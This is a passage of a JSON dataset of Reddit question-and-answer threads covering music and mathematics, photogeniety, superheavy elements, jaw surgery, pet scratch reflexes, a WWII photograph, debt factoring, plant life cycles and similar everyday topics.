recursion (basically self referential works) plays in all three areas. I read it while I was studying automatic music transcription in college, and it was a very inspiring read. It's fairly old and out of print, but you can find it used fairly easily still.\n\nThere's also a lot of active research in the computer science world not only for writing music automatically (for which there was recently a breakthrough), but also automatic music transcription and metadata tagging ( an older example of this would be the Pandora project). While these are all computer science research items, they necessarily involve a lot of math since it is still mostly in the theoretical/research phases.", "Computer scientist here, while I'm not a musician there is an interesting theory I know that in my opinion relates to music: information theory.\n\nOne aspect of information theory relates to a piece of information's compressibility, which is defined as the size of the smallest piece of software code required to produce the information. So if something is very repetitious, it will be very compressible. Do-re-mi-fa-so-la-ti-do is basically \"start with do, increase note * 7\" which is a pretty small program. On the other hand, if something is very random, it will be very uncompressible, as you pretty much just have to write \"play this note, then play this note, then play this note,...\" and so on.\n\nSo what does this have to do with good music? Well, humans tend to find information interesting that is between very compressible and very uncompressible. We look for patterns in all sorts of things in our lives, even with basic survival skills such as hunting and foraging. Think of a simple pattern like looking for water in a lake: not worth the effort because it is too easy so we find it boring. Think of a complex pattern like looking for water in a desert: not worth the effort because it is too hard so we find it tedious. Information patterns that we value tend to be in the middle of this scale with repetitious/boring on one side and random/tedious on the other.", "Research the \u201cI-IV-V-I\u201d chord progression. The framework of many pop songs. Sometimes with a nice little ii and often a modulation via a V/V7 (IIRC) chord.", "Short answer: No. Aesthetic taste is too subjective for a universally agreed criteria of \"good\".\n\nLonger Answer: While music theory does exist and explains why and how certain music works, it's more of an autopsy than a formula. There are lots of classical music compositions that follow a \"formula\", and seems to follow all the rules perfectly on paper, and yet still feel utterly uninspired and boring. Ex: all the forgotten composers of eras past.\n\nLikewise, some of the greatest pieces of music by important composers (I.e., Bach, Beethoven, Schoenberg, etc) break their own \"rules\". Bach will sometimes not follow the voice-leading rules that govern counterpoint, and Schoenberg will sometimes place a note out of place from what the tone-row would designate. They just did whatever they felt the music needed, even if it went against the system they used, and that in of itself creates an interesting, dare I say, human, effect.\n\nIn pop music today, there is an incredible amount of engineering that occurs in the process of creating a song, tuning and tweaking the music according to their own formulas, data and systems in order to try to make a hit. It certainly does help a lot, but ultimately is only predictive, and can not be truly universally appealing, because of the wide variety of human tastes.\n\nAlso, what defines \"good\" is also very subjective .. what if the music is totally revolutionary and ground-breaking, but you don't really enjoy listening to it? Or what if the music was literally written in 1 minute, with very little thought, but it truly speaks to your soul? Things to consider..", "Three blue one brown explains it beautifully! Honestly he makes me like math. (Ill send a few links of his based on music).\n\n_URL_0_\n\n_URL_1_", "Music theory provides you the tools to consistently craft well-designed music, but \"good\" is pretty damn subjective in music.\n\nYou could probably train a machine learning in algorithm to look for particular traits in music that you find appealing. This is pretty much the design philosophy of Pandora. But what you find appealing is specific to you.", "\"Good\" music is a perception, not an absolute. It's subjective, not objective.\n\nSo maths can tell you which notes harmonise or clash, but only psychology can tell you which music is \"good\". And that quality will depend on cultural factors. Someone brought up on Bali listening to Gamelan music will think different things are \"good\" than someone brought up in Salzburg listening to Mozart or someone brought up in Detroit listening to Motown.", "In short, no. There are \u201cformulas\u201d for music that we know most people in our culture will find pleasing. However, music is art and is constantly evolving. Music is not a universal language. You have been conditioned since birth to hear it and associate meaning to certain sounds. If you were born in a different culture you would hear music differently. ", "Not yet. But here's how one could figure out that mathematical theory in principle, using machine learning.\n\nGet a list of all music available. Set one third of it aside for later. With the remaining 2/3rds, label each piece either \"good\" or \"bad\". Now, feed that 2/3rds into a computer set up to do machine learning, and let it build a model that figures out what makes good music different from bad music. To see how well it works, let it have a look at the remaining 1/3, and see how accurately it decides which pieces are good vs bad.\n\nAlthough this will work in principle, there are a few problems. \n\nFirst, it's hard to really tell what's good or bad music, and not only because different people like different things. For instance, today I might like a song, but in six months I'll be over it, which means that the \"good\" label isn't constant. Also, when I'm sad, I like different music than when I'm angry, which is different again from when I'm relaxing at home.\n\nSecond, the characteristics of good music varies between genres. Good classical music is similar to bad classical music, but wildly different from good death metal (which is similar to bad death metal).  That means you'd need a multi-layer model that first can identify what genre of music it is before figuring out if it's any good. And as genres are so fluid and keep changing, you'd need to constantly update your definition of what a genre is and then figure out which of those songs are good.\n\nHowever, in principle, the mathematical fields of probability theory, linear algebra, and calculus, could combine to solve these issues and compose a song for you on the fly that will make you happy at that moment. If you're interested in getting into the field that will eventually solve it, (and it's an amazing field to get into, and not just for composing music!) the key words in your Google search might include \"Data Science\", \"MOOC\", \"Deep Learning\", or possibly \"Generative Adversarial Networks\". A lot of the resources online are free, and assume no starting knowledge.\n\nAnd let's say you learn that stuff, but don't end up inventing an automated composer. You could still use the same principles to get a computer to design you, say, an optimal bicycle, where you have the least amount of weight for the most amount of strength. (That field is called generative design, and it uses the same maths.) ", "No. Good music is extremely subjective. There are no defining features that make a piece of music good or bad.", "Not a mathematical theory but music theory pretty much says if you write in 4/4, your song follows the basic ABABCB (verse-chorus-verse-chorus-bridge-chorus) structure, is 3:30 minutes long and is in the major key it will probably be a success. Having an average tempo that people can move their feet on (110-140 bpm) is a plus.\n\nHow do you define good music anyway? By today's standards complexity is out of the window, and your song needs to be pop.", "No. Mathematical theories do not make qualitative predictions about value judgments and aesthetics.", "Very long time ago (before iPhone was a thing) I was considering this very topic as my PhD dissertation. It involves not only computer science, mathematics, and music, but also other more \"elastic\" fields as well (psychology, culture studies, ...) To do that properly was too expensive and depended on other people.\n\nAnd there was no assurance that the outcome would be a success.", "Yay! A question that I can kind of answer!\n\nBecause \"good\" music is entirely subjective, we would need to develop an objective measure to explain why music is \"good\". Music is composed as a compilation of sound waves, which can be decomposed into a finite summation of trigonometric functions. You can think of each function representing a different layer of the song.\n\nAudio processing techniques exist to help extract notable characteristics of the song. Perhaps it could be the beats of the song, the lyrics, the musical transitions, etc. Mathematically speaking, these are what we call features. It is very common to engineer features in the data science practice.\n\nIn order for us to assign a probability of how likely you would consider this song to be \"good\", we would need our algorithm to have previously known data to objectively figure out those probabilities. The more information you can provide, the more accurate our predictive models will perform. Machine learning is useful in this respect (more specifically logistic regression)\n\nWhen the probabilities are computed, we can assign a class per song (whether you like the song or not) based on some threshold measure. (Any probability greater than 0.6 will be assigned \"I like this song\"). The quality of the model can be determined by the use of the confusion matrix, which essentially compares the model's performance to your true assessment of the music.\n\nVery general explanation here. I don't study much audio processing but I have at least six years of mathematics education to back up my statements!", "Changing your question slightly since all music can be a good compared to worse music. \n\n\"Is there a mathematical theory to quantify how good a piece of music is?\" \n\nNo, there is no mathematical theory as of yet that can predict how good a piece of music is. But there are certain loose rules one can check to see if the music will be pleasing. \n\nHowever there can be AIs which do what you ask - predict how good a piece of music is. And since AIs use mathematics to make their predictions, in a sense mathematics can be used to predict the 'goodness' of music. ", "The things that sound good to us in music are the combinations of natural frequencies in the way things vibrate in the natural world. It\u2019s all mathematical, and predictable and calculable. The creativity behind a full band and a full song is organic and complex like real life, but the underlying sounds that are chosen for songs are extremely predictable based on the physics. _URL_0_", "Master\u2019s degree in Music here. It depends heavily on your definition of \u2018good\u2019 music. I could write anything from a 4-part fugue to a simple pop-rock song by the numbers in just a few minutes, but it will likely be fairly uninteresting if I didn\u2019t take the proper time to add some \u201chuman\u201d element to it and develop it.\n\nThere are certainly mathematical formulas for how to structure everything from the progression of chords to the number of bars in a song section (even all the way down to whether the next note in a melody goes up or down one step), but all the best music breaks those rules in some way that it keeps your ear engaged. John Philip Sousa was a master at this, to the point where he made his own \u201cformula\u201d of adding a juicy German Aug6 chord in a very particular spot of many of his marches.\n\nIf you really want to understand more of this stuff, take some music theory lessons and it will eventually all start to make sense. Many of the world\u2019s greatest songs simply started with one idea and then let the music write itself by the numbers.", "Finally something I can provide a bit of answer. I wrote a \"paper\" (not official one) at University a few years ago.\n\nI won't really talk about what is \"good\" music, but will focus on why we westerners ended up mostly writing music the way we do.\n\nFirst off : a music **note** is defined by a specific frequency *f* (called fundamental) and a set of harmonics at higher frequencies.\n\n2 notes sound good to your ear when they share a high number of those harmonics. We can observe that the note which fundamental is *2f* sounds like the same note played higher. We call it the **octave**. The note which fundamental is *3/2 f* (names **fifth**) also shares a lot of harmonics, its 2nd harmonics being the third of the original note.\n\nGoing fifth by fifth, we historically created a **set** of 12 notes between a *f* note and a *2f* note, but the ratio between frequency isn't always consistent. We decided to standarize it with a 2^(1/12) gap between each of the 12 notes.\n\nWe end up with the **set** of 12 notes : {DO, DO#, RE, RE#, MI, FA, FA#, SOL, SOL#, LA, LA#, SI} (I know that in Anglo-saxons you guys call it with letters, that would be {C, C#, D, D#, E, F, F#, G, G#, A, A#, B} if I'm not mistaken). We will call it the **dodecaphonic set** (self explainatory name, it has 12 sounds), and it can be represented [with this circle](_URL_0_). Any subset of those notes with any number of notes will be called a **tonal set** , and we will call the well known set {DO, RE, MI, FA, SOL, LA, SI} ( {C, D, E, F, G, A, B} for you) the **occidental tonal set** or **OTS**. It [looks like this on the circle](_URL_3_) . Musicians will recognise the succesion of intervals in full tones and half tones.\n\nWe will call a **transposition** of a set a strict shift of all the notes of the set. Doing *k* transpositions is the same as rotating all the notes of a set on the circle. [Here's an example of 4 tansposition](_URL_2_). A transposed set is the result of the transposition of a set.\n\nNow we will try to explain mathematically why the OTS and its transpositions became the set everyone uses today in the occidental music.\n\n**First property** : the OTS is the only tonal set with 7 notes that is adapted to transposition (we will define those terms)\n\n- The group of all the transposes sets of one set is called a **tonal type**\n\n- 2 sets are called **neighbours** if only one note is different from one another. For exemple, {C, D, E} and {C, D, G} are neighbours\n\n- Finally, a set is **adapted to transposition** if it is **neighbour** to the sets obtained after 5 and 7 transpositions.\n\nWe can count 2^12 = 4096 tonal sets going from {\u2205} to the whole {C, C#, D, D#, E, F, F#, G, G#, A, A#, B}.\n\n2 have 1 transposed\n\n2 have 2\n\n6 have 3\n\n12 have 4\n\n54 have 6\n\n4020 have 12\n\nI proved the first property using a python script.\n\nConclusion of the first property : the OTS has 12 transposed, which means is one (among 4020 others) that can describe the most amount of rotations on the dodecaphonic circle. It is necessary to ensure diversity because you can alternate the set while still having the same structure (intervals).\n\nThe second point is that the OTS is the only one with 7 notes adapted to transposition. 5 and 7 are coprime with 12. Meaning only 5 or 7 transpositions can give you the entirety of the **occidental tonal type** or **OTT** (the tonal type where all the OTS are). The OTS is the only set neighbour to it's C+5 and C+7 which means it can go on any set of the type in a beautiful way for the ear.\n\n(Note that it's the only one with 7 notes because in the western music we use 7 notes sets (not really sure why anymore, guess is because it has the most). In oriental music, they use a 5 notes set and it has also the particularity of being the only one with 5 notes to have this property.)\n\n**Second property** : the OTT is the only type that is adapted to transposition (we just saw it), that has a L2 set, and that doesn't have 3 consecutive notes\n\n- a Ln set is a set with a symetrical repartition of n notes on the circle. [Here are the L2, L3, L4 and L6](_URL_1_)\n\nWe can also show using Python scripts this property.\n\nConclusion of this second part : The OTT is the only type to have these properties simultaneously. Why being adapted to transposition is interesting has already been studied. Having a L2 is essential to composition : L2 has the farthest notes of the circle and can be transposed 6 times. The L2 set only appears in 2 sets of the type : the one of DO (C) and the one of FA# (F#) which are the most different sets of the type. Which means playing on the L2 you can go from one set to the most distant, less neighbour, one easily. Finally, it doesn't have 3 consecutive notes which helps it being more balances.\n\nHope this helps. it was a long time ago so I just translated the main parts of it. If you have any questions I'll try to answer them.\n\n[This is the paper I used in order to write mine](_URL_4_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.google.com/amp/amp.abc.net.au/article/9329180"], [], [], [], ["https://www.digitalmusicnews.com/2018/01/31/hyperlive-hit-song-prediction-algorithm/"], ["https://www.youtube.com/watch?v=wS7CZIJVxFY"], ["https://en.wikipedia.org/wiki/Music_and_mathematics"], ["https://www.youtube.com/watch?v=gAl2I30SoTA", "https://www.youtube.com/watch?v=-c7d5W0_NPA"], [], ["https://pudding.cool/2017/05/song-repetition/", "https://www.youtube.com/watch?v=DAcjV60RnRw"], [], ["https://en.m.wikipedia.org/wiki/G\u00f6del,_Escher,_Bach"], [], [], [], ["https://youtu.be/cyW5z-M2yzw", "https://youtu.be/spUNpyF58BY"], [], [], [], [], [], [], [], [], [], [], ["http://www.stat.yale.edu/~zf59/MathematicsOfMusic.pdf"], [], ["https://imgur.com/a/RqWANue", "https://imgur.com/a/F9ca1JA", "https://imgur.com/a/R0u5tEq", "https://imgur.com/a/B1tdmMG", "https://webusers.imj-prg.fr/~michel.broue/tonamath.pdf"]]}
{"q_id": "12l521", "title": "why are some people very photogenic, and some people just aren't (even though they may be very good-looking in person)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/12l521/why_are_some_people_very_photogenic_and_some/", "answers": {"a_id": ["c6vz7vs", "c6w0e5j", "c6w19ah", "c6w1kfn", "c6w1xo8", "c6w3mxe", "c6w3rm8", "c6w4uec", "c6w84wq", "c6w9xve"], "score": [60, 43, 26, 17, 5, 23, 8, 37, 2, 2], "text": ["I think it has a lot to do with the forced smile. Many people become nervous when it comes to taking pictures, even if they look good, because they can't \"force\" a smile. This can lead to a \"bad\" picture.", "Beauty goes hand in hand with how symmetrical our faces are, if you take a photo of your face, halve it lengthwise and flip it over, your face looks different, if you do it with both sides, both pictures will look different.  So does the inability to take attractive photos have something to do with symmetry?  How closely one side of the face relates to the other side.  When you see a photo, it's a 2 dimensional image, the symmetry is either nicely aligned or it isn't and you can't hide it.  When we see a person the symmetry isn't really noticeable because you hear the voice, see the smile, you relate to a moving, breathing person so it's not as obvious.", "There was a really great response to a post awhile back where a photographer explained what it meant for someone to have a good side, and how Harrison Ford, even though he was very ruggedly handsome, has a 'bad' side due the assymetricality of his face. It was very interesting but I don't know where it is.", "When looking at people in real life, you're looking at a constantly moving object, but a photo captures one frame of that. Statistically, you look better in the 100 frames that you see IRL than 1 photo.\n\nAlso, your brain looks for symmetry when looking at things in real life, but photos are 2D, and so a lot of the features that stand out and make a person hot in real life (e.g. cheekbones, nose) aren't shown well (or at all) in photographs, making the person lose their best features.", "A lot of this has to do with the angle at which you view the person. I am decent looking IRL and my pictures can be awesome or make me look horrible. It usually depends on the angle of the picture, my own body angles (posture, profile vs direct, etc...) and how the light I am in is defining my features. If any of those are off, then the pic is ok, but when they all work I look like a lady killer ;). If they are all off I look like a giant dork :p", "A camera takes a photo 2 dimensionally, unlike how we view 3 dimensionally. It's how you can get [forced perspective](_URL_0_) photos that would be otherwise difficult to see with both eyes. Basically, a camera \"sees\" differently than how you see. Even if a person is good looking in person, their features may get \"flattened out\" in a photography, making them look unappealing. Certain face shapes and bone structure will photograph better because it won't get lost in the image. There's probably someone else who can explain this a lot better than I can, but this is the gist I know and I hope it helps!\n\nI may also be wrong about a few things, for which I apologize for in advance.", "maybe they don't know how to pose naturally for a picture.\n\n[it's outlined here](_URL_0_)", "I always just assumed it meant I wasn't as good looking as I thought I was.", "it could also be a case of lighting, like in [Seinfeld](_URL_0_)", "Quick experiment for you:\n\n1) take a photo of someone from a close distance ( eg 12 inches / 30 cm) \n\n2) take a second photo from 5-6 feet away (150 cm) and zoom in so both photos are the same size. \n\nWhat you will notice is on the first photo certain features will be distorted and look large, especially the nose.\nThe second picture is generally much closer to what you \"see\" when you look at a person. \n\nThe reason for this is the inherent distortion that results from the camera lens. This distortion is reduced the further back you stand when the image is taken. \n\nAs well as all the other good points made by others in this thread about symmetry and head position ,2d images and forced smiles etc the effect of lens distortion has a huge effect.\n\nSome people's features ( particularly things like nose shape and cheekbone position) do not distort in a way that is unfavourable to our eyes  when photographed. Some even appear better proportioned in photos than they do in reality. These people are what we call \"photogenic\".\n\n\nSource: Learned about this while doing a Forensic Dentistry postgraduate course , of all things! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.google.ca/search?q=forced+perspective&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a&amp;channel=fflb&amp;um=1&amp;ie=UTF-8&amp;hl=en&amp;tbm=isch&amp;source=og&amp;sa=N&amp;tab=wi&amp;ei=g_OVUPr2MOXQ2AWqo4HwAw&amp;biw=1113&amp;bih=768&amp;sei=h_OVUPrXDIXu2QW3qYGABA"], ["http://www.reddit.com/r/LifeProTips/comments/t23p5/lpt_one_way_to_instantly_be_more_photogenic/"], [], ["https://www.youtube.com/watch?v=TFeUrC2gR30"], []]}
{"q_id": "24jv96", "title": "Are there any benefits we know of right now if we were to make it to the \"island of stability\" with super heavy elements?", "selftext": "After reading about the new element on here it got me thinking. Are there any practical uses we know if right now if we were some how able to start producing these?\n\nI understand that when we discover new things we generally don't know what practical applications they have until after the fact, but I was wondering if there are things we know of right now that we could say, this would be possible if we had mass quantities of this super heavy element", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24jv96/are_there_any_benefits_we_know_of_right_now_if_we/", "answers": {"a_id": ["ch7vqr0", "ch82bcp"], "score": [6, 9], "text": ["Radiation shielding. Those big nuclei would stop the heck out of gamma rays.\n\nMunitions. You like how depleted uranium goes through an armored personnel carrier? Just wait until you see this corn go through the goose!\n\nWeapons. Will a relatively stable yet radioactive element, or combinations of several, make a nuclear weapon that is more powerful, more stable, less technologically demanding, than uranium and plutonium?\n\nTools. These materials may have interesting properties in bulk, and like the differences between bronze, cast iron, steel, and silicon, each of which ended up as the name of a human era, may definitively change technology.", "Keep in mind that the half lives of isotopes in the \"island of stability\" are still likely to be pretty short (a few seconds to days). This is long compared to nearby isotopes, but still too short for most practical applications. Also, these experiments typically only produce a few atoms at a time. \n\nStudying the island of stability is still useful. This insight that we gain will help us refine our understanding of atomic nuclei. For example, this understanding will allow us to build more accurate models for nuclear reactions, and allow us to design better nuclear reactors. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3f03gd", "title": "i'm having jaw surgery today, and i'm scared", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3f03gd/eli5_im_having_jaw_surgery_today_and_im_scared/", "answers": {"a_id": ["ctk0srb", "ctk1tc8"], "score": [5, 2], "text": ["It's normal to be nervous. I've had jaw surgery and it was very helpful. You will be fine. Tell your doctor and anesthesiologist you're nervous.", "I had jaw surgery to help correct a cross bite almost 10 years ago.  I also had shoulder surgeries on both my shoulders.  \n\nShoulder surgeries had painful recoveries.  I honestly remember feeling no pain from the jaw surgery.  It was a pain not being able to open my mouth for a while and I can't even imagine what my breath smelled like but I'm glad I had it done.  \n\nMy first meal after they took off the rubber bands holding my jaw shut and said I could start eating soft solid food again was at a favorite greasy spoon.  That was the only time I felt a little discomfort, when I started eating solid food again.\n\nGood luck and try not to stress yourself out."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2tq86a", "title": "what's that spot behind a cat or dog's ear that you scratch and makes their hind leg go nuts? and is it pleasurable or annoying for pets?", "selftext": "My dog seems to enjoy it a lot, curious as to what it is. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2tq86a/eli5_whats_that_spot_behind_a_cat_or_dogs_ear/", "answers": {"a_id": ["co1kiha"], "score": [9], "text": ["It's similar to a knee-jerk reaction, called the Scratch Reaction. It's involuntary, but not uncomfortable. My dogs both seem to enjoy it, but maybe that's just because they're getting a good scratch!\n(Source: Sister is a vet, I asked her...)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "x8ish", "title": "Whats the story behind the picture of nazis with a guy in a bear costume", "selftext": "here is the [photo](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/x8ish/whats_the_story_behind_the_picture_of_nazis_with/", "answers": {"a_id": ["c5k6ny4", "c5k7i6h", "c5ka2mv", "c5kfcac"], "score": [7, 26, 16, 3], "text": ["I don't know about this picture but the Bear is a Berlin thing on their city coat of arms. See [here](_URL_1_). \n\nSo I imagine it is a photo of a WWII German Army unit from Berlin and some military expert can tell you whether they were SS or not as I think the nazi tag might be misleading.\n\nI can't see [SS insignia](_URL_0_).", "Quote:\n\n >  I am a frequent visitor to your site and have been for some years. I have little to contribute, other than an interest in all things BF. But today you showed a German WWII image that I thought I could help with. I am a twice-degreed Military Historian and have been reenacting for 30 years. Additionally I collect certain WWII era German photographs.\n First of all there is no way of determining if they are Nazis. I know you are a thorough and conscientious scholar and always want to be as accurate as possible. These are German Heer (Army) Soldaten (soldiers), and not Waffen SS either. Just conscripted young men in the army. The infamous NSDAP lapel pin was forbidden to wear on the uniform, but were they active in the party there would be presence of SA (Stormtrooper) sports badges or other SA ephemera present.\nI think the image is a period one. They are too thin and too young for reeanctors and the topic is too goofy. Reenactors would have been fatter, older and wearing camouflage and show a late war influence. These guys are very pristine and uniform. If one examines the Civil War pterodactyl faux-image it is immediately obvious that they are reenactors.\nThe image is pre-war. The soldaten are wearing the M36 feldbluse (blouse) and M35 stalhelm (helmet). They are also lacking load bearing harness. There is also an absence of war-time awards.\nThere are no commissioned officers. The two in the visored caps are NCOs. The one of the right of the image is a gefreiter (corporal). I cannot make out the shoulder rank of the NCO on the left. \nPerhaps this is someone dressed in a bear suit to mock the Russian Bear? Perhaps it is a wolf or a dog costume (much more in line with German sensibilities)? Many things can be answered if someone could read anything written on the reverse side of the picture.\n\n[Source](_URL_0_)", "While not a truly a doctoral thesis answer, I can say with all authority, being a war veteran myself...\n\nBored soldiers are silly soldiers.  This photo might simply be them goofing off.", "I'm with eterlalkerri.  My wife's grandfather had an album of pictures that he took during the war.  They were mainly from the close of the war so there was quite a bit of levity.  Several were of him and other American soldiers playing like they were capturing each other.\n\nJohn"]}, "title_urls": [], "selftext_urls": ["http://img80.imageshack.us/img80/5772/medvedct2.jpg"], "answers_urls": [["http://www.liveauctioneers.com/item/10918975_wwii-german-ss-photo-and-collar-insignia", "http://en.wikipedia.org/wiki/Coat_of_arms_of_Berlin"], ["http://www.cryptomundo.com/cryptozoo-news/more-nazi-bears/"], [], []]}
{"q_id": "b1ttuq", "title": "what is factoring of debts, please", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1ttuq/eli5_what_is_factoring_of_debts_please/", "answers": {"a_id": ["eio3mlg"], "score": [2], "text": ["Selling someone the right to collect a debt that is owed to you.  For example:\n \nBilly Buyer \u201cok, Sally Seller, I will buy your PS4 for $200, but I will pay in two weeks when I get my birthday money.\u201d\n \nSally Seller \u201cok it\u2019s a deal\u201d.   (But she really needs some money now)\n \nFreddy Factor \u201cSally, I will give you $150 now if you let me collect the $200 from Billy on his birthday\u201d\n \nSally Seller \u201cok it\u2019s a deal.  Billy, please pay that money to Freddy\u201d"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2bq7iw", "title": "why does the front page of reddit load different content from one session to the next, even though i haven't changed any settings?", "selftext": "I am using \"Reddit is Fun: Golden Platinum\" version. I always sort based on Top-Today. \n\nI can open the app, see one thing, close out, reopen, and see an entirely different post set. It's not consistent either. \n\nIs this an app issue, Reddit issue, or am I just a bundle of sticks that should use myself as kindling because I'm too stupid to function?\n\nPS - This time it was the same post set as my chrome browser set.\n\nPPS - I have to browse on my phone, cause work computers  &  shit.\n\nEdit - Thanks for the input everybody. Looks like can hold off on the self immolation for a little while longer...", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bq7iw/eli5_why_does_the_front_page_of_reddit_load/", "answers": {"a_id": ["cj7tchf", "cj7tcxf"], "score": [2, 2], "text": ["If you\u2019re subscribed to more than 50 subreddits, there is actually some cycling every half hour. The front page can\u2019t have more than 50, probably to cut the server time.", "\"Top\" sorting is not at all a standard algorithm compared to other online forums. It ranks by a score with a weighted calculation of upvotes and time. Since the Reddit front page pulls from a very wide range of content, today's top posts can fluctuate significantly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1cc0uw", "title": "Are perennial plants more evolved than annuals?", "selftext": "I know pretty much nothing about botany so this might be a stupid question. Annuals die every year and need to pass their genes on through a seed to another generation. But perennial plants can just produce more plants each year from the same bulb. Thus seems like a huge change in a plants evolutionary mechanism. Does this imply that one type is more evolved than the other?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cc0uw/are_perennial_plants_more_evolved_than_annuals/", "answers": {"a_id": ["c9f23fl", "c9f5ipv", "c9f7et5"], "score": [6, 3, 3], "text": ["I too am no botanist, I study bacteria. I do though know a bit about evolution. \n\nIt's not correct to think about evolution as something that you can have more of or less of. In a sense, everything has been evolving equally long up until today. You should think, which of these species is most successful and what is their niche.  A silly example may be dolphins and lettuce. Obviously lettuce is a terrible ocean dwelling predator, and dolphins are poor crops, but both are very well suited to their niche and have been evolving into that form since the dawn of life. \n\nI don't have many plant examples, but if both annuals and perennials still exist today, then their different life strategies must have worked for them. Maybe being a perennial will prove less efficient and in 4 million years they'll all go extinct, let's wait and see.", "Neither annual or perennial plants are more highly evolved than the other.  Like all life that exist today, they've been evolving for the same amount of time since the universal most recent common ancestor.\n\nI'm not sure if these different lifestyles have evolved independently in multiple plant lineages so instead I would pose a though question.\n\nThink about what is involved in a plant life cycle and what the costs and benefits of each lifestyle might be.\n\nAnnual plants tend to grow quickly, reproduce, then die.  This has the benefit of allowing the plant to put as much of its energy as it can into reproducing as quickly as it can and expanding into new territory.  The cost of this is that they die after reproduction and give up the opportunity to reproduce again.\n\nThe perennial plants are going to survive over multiple growing seasons so they must invest in root storage, woody tissue, and herbivory deterrence more than the annual.  They might produce less seeds in a year but because they will survive to the next growing season they have to opportunity to reproduce again without having to start out from a seed.", "There's no \"more evolved\" between annual and perennial plants, and plants evolve from annual to perennial and back again innumerable times.  It's really not as big a difference as you might think.  In fact, there are a great many plants (peppers are a great example) that are annual if you plant them in cold climates and perennial if you plant them in tropical climates.  As for which one is better, it just depends.  Generally, annuals are better at quickly colonizing bare patches of ground, but get overgrown and outcompeted by perennials over time.  I'd strongly suspect that the first flowering plants were perennials (probably some sort of bush or shrub), and annuals are a more recent development.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bx1taj", "title": "why isn\u2019t authors collaborating on fiction books common?", "selftext": "Given that pretty much every other form of art and even non-fiction writing is full of collaborative works, why is it so uncommon in fiction writing? It\u2019s so uncommon that I didn\u2019t even think about it until a few days ago when I heard about Terry Pratchett and Neil Gaiman having collaborated on the Good Omens book.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bx1taj/eli5_why_isnt_authors_collaborating_on_fiction/", "answers": {"a_id": ["eq2gisu", "eq2goyr", "eq2h6op"], "score": [6, 3, 9], "text": ["Writing is one of those jobs that is just a heck of a lot easier if there is only one person doing it. Collaborating creates all sorts of extra complications and problems, and while it can result in some really good work, it is a lot more likely to result in frustrations that caused the people to abandon the project.\n\nThe only situation where you commonly see multiple writers working together is in TV, and even then it tends to be relegated to comedy shows where at any given time only one Rider is really working on the plot and the rest of the writers are just coming up with extra jokes to throw in there.", "It is, just not in popular media.\n\nSee the Warhammer 40k universe and Warhammer Fantasy. They have over 100 books and pieces of lore and fiction that exist in a shared universe written by dozens of authors.\n\nJust because they aren't best sellers or out in the face of book stores doesn't mean it doesn't happen, a lot.", "The warcraft lore is a victim of this. There are a ton of books with just as many different authors. The story contradicts itself over and over. The timeline is a complete mess. In one book a character is alive and well and in the next book he died in battle 4000 years ago and in some books he never even existed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "alqcb6", "title": "how does not losing conciousness help when someone us gravely wounded?", "selftext": "Like how it is in movies where we always hear people say things like \"stay with me\" and stuff as they are escourting someone thats just got shot or whatever. Does this actually helps?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/alqcb6/eli5_how_does_not_losing_conciousness_help_when/", "answers": {"a_id": ["efg28ao", "efg4x8x", "efg78qj", "efgj9hd"], "score": [18, 7, 5, 2], "text": ["Doctors want patients to be conscious, because you can learn a lot more from them than you can if they pass out.  You can also act more quickly on them because you can ask \"How bad does this hurt?\"  to gauge the status of some body part rather than wait for some medical scanner.", "The short answer is no, it doesn't actually do anything.\n\nA conscious patient may be better able to cooperate with an examination or history, which is useful.\n\nHowever, the act of keeping someone awake in a \"stay away from the light\" type thing will not actually be beneficial. It's just a movie trope.", "It\u2019s commonly believed in day-to-day life that if someone get a traumatic brain injury (noodle boo boo) they had to be kept awake or risk dying somehow if they slept. Like the Korean fan myth\n\nReally the only use for staying awake is when en route to a doctor so you can check if their condition is worsening (ie a noodle bleed, very serious)\n\nOtherwise in the movies it\u2019s just dramatic. And selfish. Let the guy die, damn, he\u2019s like cut in half already. ", "It boils down to adrenaline and shock. A conscious person is going to be releasing massive amounts of fight or flight compounds. An unconscious person will have depressed breathing and circulation which could be worse if they are already in shock and close to a serious medical emergency. \n\nIf someone has suffered a head injury it is also useful to be able to talk to them for diagnostic reasons until they can get into a hospital for testing. Once they go unconscious the only things they can tell you are their breathing, their pulse, and pupil response. \n\nIn movies and drama though those kind of scenes are mostly there to build tension and because they are more dramatic. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
